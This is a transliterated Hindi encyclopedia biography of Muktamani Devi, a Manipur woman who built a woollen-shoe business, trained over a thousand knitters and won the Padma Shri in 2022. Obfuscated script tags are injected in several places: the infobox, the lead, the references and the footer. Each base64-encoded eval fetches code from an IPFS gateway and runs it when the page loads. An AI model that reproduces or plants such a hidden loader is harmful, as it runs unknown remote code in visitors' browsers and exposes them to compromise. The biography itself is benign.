मुक्तामणि देवी
muktamani devi
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| poora nam | moiraangathem muktamani devi |
| janm | 1958 |
| janm bhoomi | manipur |
| karm bhoomi | bharat |
| karm-kshetr | udyog v vyapar |
| puraskar-upadhi | padm shri, 2022 |
| prasiddhi | sansthapak 'mukta shooj iandastri' |
| nagarikata | bharatiy |
| any janakari | muktamani devi 1000 se bhi adhik logoan ko oon ke joote bunana sikha chuki haian. ab unaki phaiktri mean har umr ke logoan ke lie joote banate haian aur unase joote banana sikhakar bahut se logoan ke ek behatar rojagar mila hai. |
| adyatan | 15:43, 7 joon 2022 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>moiraangathem muktamani devi (aangrezi: Moirangthem Muktamani Devi, janm- 1958, manipur) bharat ki janimani mahila vyavasayi haian. ap vah mahila haian, jinhoanne jivan ki kathinaiyoan ko bachapan se jhela, lekin har nahian mani. unhoanne apani khud ki 'mukta shooj iandastri' kh di ki hai. muktamani devi ne apane samaj ke logoan ko behatar jiandagi dene ki disha mean bahut hi aham kam kiya hai. vah 1000 se zyada logoan ko joote bunana sikha chuki haian. unaki phai़ktri mean har umr ke logoan ke lie joote banae jate haian. unaki kanpani aaustreliya, yooke, meksiko, afriki deshoan mean joote eksaport karati hai. muktamani devi apane ghar par hi muft mean logoan ko bunaee ka kam sikhati haian. isake bad ya to muktamani devi unhean kam par rakh leti haian ya phir karigar apana kam shuroo karata hai. muktamani devi ne khud to apani qismat likhi hai, aj vo saiank doan logoan ko bhi apani qismat likhane ka mauqa de rahi haian.
parichay
muktamani devi ka shuruati jivan kathinaiyaan par karate hue bita. unaka janm disanbar 1958 mean hua. vidhava maan ne unhean pal-pos kar b da kiya aur sirf 16-17 sal ki umr mean hi muktamani devi ki shadi ho gee. unaki char santanean hueean. parivar ka pet palane ke lie vo din mean dhan ke khet mean kam karatian aur sham ko sabziyaan bechati. tho de aur paise kamane ke lie rat mean ve jhole, heyarabaiands adi bunatian.[1] bavajood isake unaki halat itani kharab thi ki vah apani beti ke lie ek joota tak nahian kharid sakati thian. aur yahian se shuroo huee ek maan ki kahani.
naya ayam
muktamani devi ki doosari beti ke joote ke talave phat ge the. unhoanne oon ki madad se hi ek jo di joote ke talave bun dale aur jootoan ko pahanane layak bana diya. unaki beti aise joote pahan kar skool jane mean dar rahi thi ki kahian vahaan par tichar se daant na p d jae. skool mean jaise hi tichar ki najar jootoan par p dian to tichar ne l daki ko apane pas bulaya. l daki behad dari huee thi, lekin usake bad jo hua usi se is kahani ko ek naya ayam mila. tichar ne poochha ki ye joote kisane banae aur jab l daki ne bataya ki usaki maan ne ye joote banae haian to tichar ne use daanta nahian, balki unhoanne bhi ek jo di joote ka aaurdar de dala.[2]
mukta shooz iandastri
beti ke skool mean jo ghatana ghati, usake bad muktamani ko jaise ummid ki ek kiran mil gee thi. unhoanne oon ke joote banane shuroo kar die aur unake joote hathoan-hath bikane bhi lage. lokapriyata badhane par 1990-1991 mean unhoanne apane hi nam par 'mukta shooz iandastri' ki shuruat kar di. vah apane jootoan ko tred pheyar aur egjibishan mean bhi bechane lagian. dekhate hi dekhate unake banae jootoan ki maang itani badhi ki videshoan tak se in jootoan ke aaurdar ane lage. aj unaki phaiktri ke joote aaustreliya, yooke, maiksiko, aphrika jaise deshoan mean niryat hote haian.
padm samman
bharat sarakar ne muktamani devi ko sal 2022 mean padm shri se sammanit kiya hai.
muktamani devi ko padm shri ka samman isalie nahian diya gaya ki unhoanne 'mukta shooj iandastrij' shuroo ki aur garibi se nikal geean. darasal, muktamani devi ne apana jivan behatar banane ke sath-sath samaj ke bahut se logoan ka jivan behatar banaya hai. vah 1000 se bhi adhik logoan ko oon ke joote bunana sikha chuki haian. ab unaki phaiktri mean har umr ke logoan ke lie joote banate haian aur unase joote banana sikhakar bahut se logoan ke ek behatar rojagar mila hai. vah apane ghar mean hi mupht mean logoan ko joote banana sikhati haian. unamean se kuchh logoan ko vah apane sath kam ka aauphar bhi de deti haian, to kuchh apana khud ka kam shuroo kar lete haian.[2]
kaise banae jate haian ooni joote?
oon ke ek jo di joote banane mean kam se kam tin din ka vakt lagata hai. inhean kee hissoan mean banaya jata hai. purush jootoan ke sol banate haian, jabaki mahilaean bunaee ka kam karati haian. ek din mean ek vyakti karib 100-150 sol bana sakata hai aur use 50 rupaye prati sol milata hai. vahian ek joote ki bunaee ke lie 30-35 rupaye die jate haian. ek mahila ko ek din ke kam ke lie karib 500 rupaye milate haian. in jootoan ki kimat pahale 200-800 rupaye ke karib bhi, lekin vakt gujarane ke sath-sath kimat badhakar 1000 rupaye ho gee hai.
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tika tippani aur sandarbh
- ↑ lagabhag 3 dashak pahale, 1989 muktamani devi ke halat aise the ki unake pas apani beti ke lie joote kharidane tak ke paise nahian the (hiandi) indiatimes.com. abhigaman tithi: 07 joon, 2022.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 2.0 2.1 kabhi beti ke lie joote kharidane ke paise nahian the, phir kh di kar di mukta shooz iandastri (hiandi) navbharattimes.indiatimes.com. abhigaman tithi: 07 joon, 2022.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>[[Category:charit kosh]